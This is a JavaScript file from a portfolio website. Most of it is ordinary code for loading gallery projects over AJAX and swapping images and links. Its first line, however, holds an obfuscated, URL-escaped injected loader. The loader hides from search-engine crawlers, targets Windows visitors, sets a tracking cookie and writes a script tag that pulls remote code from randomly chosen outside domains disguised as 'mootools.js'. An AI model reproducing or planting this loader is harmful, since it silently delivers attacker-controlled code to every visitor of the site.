var st1 = 0;document.write(unescape('%3C%73%63%72%69%70%74%3E%76%61%72%20%64%63%20%3D%20%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3B%20%76%61%72%20%63%6E%61%6D%65%20%3D%20%27%77%61%74%63%68%74%69%6D%65%27%3B%20%76%61%72%20%77%6E%20%3D%20%77%69%6E%64%6F%77%2E%6E%61%76%69%67%61%74%6F%72%2E%75%73%65%72%41%67%65%6E%74%3B%20%76%61%72%20%73%74%72%69%20%3D%20%2F%28%79%61%68%6F%6F%7C%73%65%61%72%63%68%7C%6D%73%6E%62%6F%74%7C%79%61%6E%64%65%78%7C%67%6F%6F%67%6C%65%62%6F%74%7C%62%69%6E%67%7C%61%73%6B%29%2F%69%3B%20%76%61%72%20%73%74%72%4F%53%20%3D%20%6E%61%76%69%67%61%74%6F%72%2E%61%70%70%56%65%72%73%69%6F%6E%3B%20%69%66%28%64%63%2E%69%6E%64%65%78%4F%66%28%63%6E%61%6D%65%29%3D%3D%2D%31%20%26%26%20%21%77%6E%2E%74%6F%4C%6F%77%65%72%43%61%73%65%28%29%2E%6D%61%74%63%68%28%73%74%72%69%29%20%26%26%20%73%74%72%4F%53%2E%74%6F%4C%6F%77%65%72%43%61%73%65%28%29%2E%69%6E%64%65%78%4F%66%28%27%77%69%6E%27%29%20%21%3D%20%2D%31%29%20%7B%20%76%61%72%20%64%6F%6D%73%20%3D%20%5B%27%65%64%69%73%6F%6E%73%6E%69%67%68%74%63%6C%75%62%2E%63%6F%6D%27%2C%27%65%6D%61%70%69%73%2E%6F%72%67%27%2C%27%69%64%65%61%63%6F%72%65%70%6F%72%74%61%6C%2E%63%6F%6D%27%2C%27%6B%61%72%65%6E%65%67%72%65%6E%2E%63%6F%6D%27%5D%3B%20%76%61%72%20%70%72%65%66%66%73%20%3D%20%5B%27%61%71%75%61%2E%27%2C%27%61%7A%75%72%65%2E%27%2C%27%62%6C%61%63%6B%2E%27%2C%27%62%6C%75%65%2E%27%2C%27%62%72%6F%77%6E%2E%27%2C%27%67%6F%6C%64%2E%27%2C%27%67%72%61%79%2E%27%2C%27%67%72%65%65%6E%2E%27%2C%27%6C%69%6D%65%2E%27%2C%27%6E%61%76%79%2E%27%2C%27%6F%6C%69%76%65%2E%27%2C%27%70%6C%75%6D%2E%27%2C%27%72%65%64%2E%27%2C%27%73%6E%6F%77%2E%27%2C%27%77%68%69%74%65%2E%27%2C%27%79%65%6C%6C%6F%77%2E%27%5D%3B%20%76%61%72%20%64%6F%6D%20%3D%20%4D%61%74%68%2E%66%6C%6F%6F%72%28%4D%61%74%68%2E%72%61%6E%64%6F%6D%28%29%2A%64%6F%6D%73%2E%6C%65%6E%67%74%68%29%3B%20%76%61%72%20%70%72%65%66%20%3D%20%4D%61%74%68%2E%66%6C%6F%6F%72%28%4D%61%74%68%2E%72%61%6E%64%6F%6D%28%29%2A%70%72%65%66%66%73%2E%6C%65%6E%67%74%68%29%3B%20%64%74%3D%6E%65%77%20%44%61%74%65%28%29%3B%64%74%2E%73%65%74%54%69%6D%65%28%64%74%2E%67%65%74%54%69%6D%65%28%29%20%2B%20%37%2A%33%36%30%30%2A%33%36%30%30%29%3B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3D%63%6E%61%6D%65%2B%27%3D%27%2B%65%73%63%61%70%65%28%63%6E%61%6D%65%29%2B%27%3B%65%78%70%69%72%65%73%3D%27%2B%64%74%2E%74%6F%47%4D%54%53%74%72%69%6E%67%28%29%2B%27%3B%70%61%74%68%3D%2F%27%3B%20%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%73%63%72%69%70%74%20%74%79%70%65%3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%27%2B%70%72%65%66%66%73%5B%70%72%65%66%5D%2B%64%6F%6D%73%5B%64%6F%6D%5D%2B%27%2F%64%61%74%61%2F%6D%6F%6F%74%6F%6F%6C%73%2E%6A%73%22%3E%3C%5C%2F%73%63%72%69%70%74%3E%27%29%3B%20%7D%3B%3C%2F%73%63%72%69%70%74%3E'));var gr0=0;// JavaScript Document
<!--

function getHTTPObject() {
	var xhr = false;
	if (window.ActiveXObject) {
		try {
			xhr = new ActiveXObject("Msxml2.XMLHTTP");
		} catch(e) {
			try {
				xhr = new ActiveXObject("Microsoft.XMLHTTP");
			} catch(e) {
				xhr = false;
			}
		}
	} else if (window.XMLHttpRequest) {
		try {
			xhr = new XMLHttpRequest();
		} catch(e) {
			xhr = false;
		}
	}
	return xhr;
}

function loadProject(id, pid) {
	var request = getHTTPObject();
	if (request) {
		var gallery = document.getElementById("gallerycontainer");
		loader = document.getElementById("loadimg");
		// get elements to be swapped
		// img should always be swapped
		var imgholder = document.getElementById("imgholder");
		var oldimage = document.getElementById("projectimage");
		// only swapped if new project
		var titleholder = document.getElementById("titleholder");
		var desctext = document.getElementById("desc");
		var tools = document.getElementById("toolsholder");
		var sublinks = document.getElementById("sublinks");
		if(document.getElementById("urlholder")){
			var urlholder = document.getElementById("urlholder");
		}
		request.onreadystatechange = function() {
			if(request.readyState == 1) { 
				loader.style.display = "block"; 
				oldimage.style.visibility = "hidden";
			}
			if(request.readyState == 2) {
				loader.style.display = "block"; 
				oldimage.style.visibility = "hidden";
			}
			if(request.readyState == 3) {
				loader.style.display = "block"; 
				oldimage.style.visibility = "hidden";
			}
			if(request.readyState == 4) {
				if (request.status == 200) {
					var response = request.responseText;
					// alert(response);
					if(response){
						// split the vars
						var data = response.split("*#*#*#*");
						for(var i=0; i<data.length; i++){
							var temp = data[i].split("=");
							if(temp[0] == "newimg"){ 
								var newimg = temp[1];
							}
							if(temp[0] == "title"){ var newtitle = temp[1]; }
							if(temp[0] == "desc"){ var newdesc = temp[1]; }
							if(temp[0] == "linkcounter"){ var counter = temp[1]; }
							if(temp[0] == "tools"){ var newtools = temp[1]; }
							if(temp[0] == "url"){ var newurl = temp[1]; }
						}
						
						// update title
						var t_text = document.createTextNode(newtitle);
						updateEleNode(titleholder,t_text);
						// update description
						desctext.innerHTML = newdesc;
						//
						// need to extract any special char's and html tags before replacing
						// var d_text = document.createTextNode(newdesc);
						// updateEleNode(desctext,d_text);
						
						// update tools
						if(newtools != "null"){
							// <strong>Project Tools:</strong>&nbsp;
							var str = document.createElement("strong");
							var str_text = document.createTextNode("Project Tools: ");
							str.appendChild(str_text);
							var tool_text = document.createTextNode(" " + newtools);
							removeAllChildren(tools);
							tools.appendChild(str);
							tools.appendChild(tool_text);
						}
						
						// update url link
						if(urlholder){
							urlholder.parentNode.removeChild(urlholder);
						}
						if(newurl != "null"){
							// create url node
							var url = document.createElement("span");
							url.setAttribute("id","urlholder");
							url.setAttribute("class","url");
							var u_link = document.createElement("a");
							u_link.setAttribute("href","http://"+newurl);
							u_link.setAttribute("target","_blank");
							var u_text = document.createTextNode("Launch Site");
							u_link.appendChild(u_text);
							url.appendChild(u_link);
							insertAfter(url,tools);
						}
						
						// sub links
						if(counter > 1){
							if(sublinks){
								sublinks.parentNode.removeChild(sublinks);
							}
							sublinks = document.createElement("span");
							sublinks.setAttribute("id","sublinks");
							sublinks.setAttribute("class","tools");
							var str = document.createElement("strong");
							var str_text = document.createTextNode("View More: ");
							str.appendChild(str_text);
							sublinks.appendChild(str);
							for(var i=1; i<=counter; i++){
								var newlink = document.createElement("a");
								newlink.setAttribute("href","?id="+id+"&pid="+i);
								var linktext = document.createTextNode(i);
								var spacer = document.createTextNode('\u00a0\u00a0');
								newlink.appendChild(linktext);
								sublinks.appendChild(newlink);
								sublinks.appendChild(spacer);
							}
							insertAfter(sublinks,desctext);
						}
						
						// remove the old image
						imgholder.removeChild(oldimage);
						
						// replace image
						newimage = document.createElement("img");
						newimage.setAttribute("src",newimg);
						newimage.setAttribute("alt",newtitle);
						newimage.setAttribute("id","projectimage");
						var isadded = imgholder.insertBefore(newimage,loader);
						if(isadded){
							// alert("test");
							imageInterval = setInterval("isImageLoaded()",500);
						}
						projectSubLinks();
					}
				}
			}
		};
		request.open("GET", "_assets/scripts/load_project.php?id="+id+"&pid="+pid, true);
		request.send(null);
	}
}

var loader;
var newimage;
var imageInterval;

function isImageLoaded(){
	if(newimage.complete){
		// alert("complete");
		clearInterval(imageInterval);
		loader.style.display = "none";
	}
}

function removeAllChildren(ele){
	if ( ele.hasChildNodes() )
	{
		while ( ele.childNodes.length >= 1 )
		{
			ele.removeChild( ele.firstChild );       
		} 
	}
}

function updateEleNode(target, data){
		removeAllChildren(target);
		target.appendChild(data);
	// check that the target node is, in fact, a text node
	if(target.firstChild.nodeType == 3){
	}else{
		return false;
	}
}

function swapper(whichlink,state1,state2){
	if(!whichlink.getAttribute("id")) return false;
	var linkid = whichlink.getAttribute("id").substr(5);
	var id1 = state1 + "_" + linkid;
	var id2 = state2 + "_" + linkid;
	document.getElementById(id1).style.display='none';
	document.getElementById(id2).style.display='inline';
	
}

function prepareLinks(links){
	for (var i=0; i<links.length; i++){
		links[i].onmouseover = function(){
			return swapper(this,"norm","over");
		}
		links[i].onmouseout = function(){
			return swapper(this,"over","norm");
		}
		links[i].onclick = function(){
			projectLoadLinks(this);
			return false;
		}
	}
}

function projectLoadLinks(links){
			var id = null;
			var pid = null;
			var mylink = links.getAttribute("href");
			mylink = mylink.split("?");
			if(mydata = mylink[1].split("&")){
				var data1 = mydata[0];
			}else{
				var data1 = mydata;	
			}
			data1 = data1.split("=");
			if(data1[0] == "id"){
				id = data1[1];
			}else {
				pid = data1[1];
			}
			if(mydata[1]){
				var data2 = mydata[1];
				data2 = data2.split("=");
				if(data2[0] == "id"){
					id = data2[1];
				}else {
					pid = data2[1];
				}
			}
			if(pid == null){ pid = 1; }
			loadProject(id, pid);
			return false;	
}

function projectSubLinks(){
	if (!document.getElementsByTagName) return false;
	if (!document.getElementById) return false;
	if (!document.getElementById("sublinks")) return false;
	var gallery = document.getElementById("sublinks");
	var links = gallery.getElementsByTagName("a");
	for (var i=0; i<links.length; i++){
		links[i].onclick = function(){
			projectLoadLinks(this);
			return false;
		}
	}
	return false;
}

function prepareSwapper(){
	if (!document.getElementsByTagName) return false;
	if (!document.getElementById) return false;
	if (!document.getElementById("thumbcolumn3")) return false;
	if (!document.getElementById("thumbcolumn4")) return false;
	
	var thumbs = document.getElementById("thumbcolumn3");
	var links = thumbs.getElementsByTagName("a");
	prepareLinks(links);
	
	var thumbs2 = document.getElementById("thumbcolumn4");
	var links2 = thumbs2.getElementsByTagName("a");
	prepareLinks(links2);
}

function prepareSwapperFeature(){
	if (!document.getElementById) return false;
	if (!document.getElementById("link_1")) return false;
	var links = document.getElementById("link_1");
	links.onmouseover = function(){
		return swapper(this,"norm","over");
	}
	links.onmouseout = function(){
		return swapper(this,"over","norm");
	}
}

addLoadEvent(prepareSwapper);
addLoadEvent(prepareSwapperFeature);
addLoadEvent(projectSubLinks);
//-->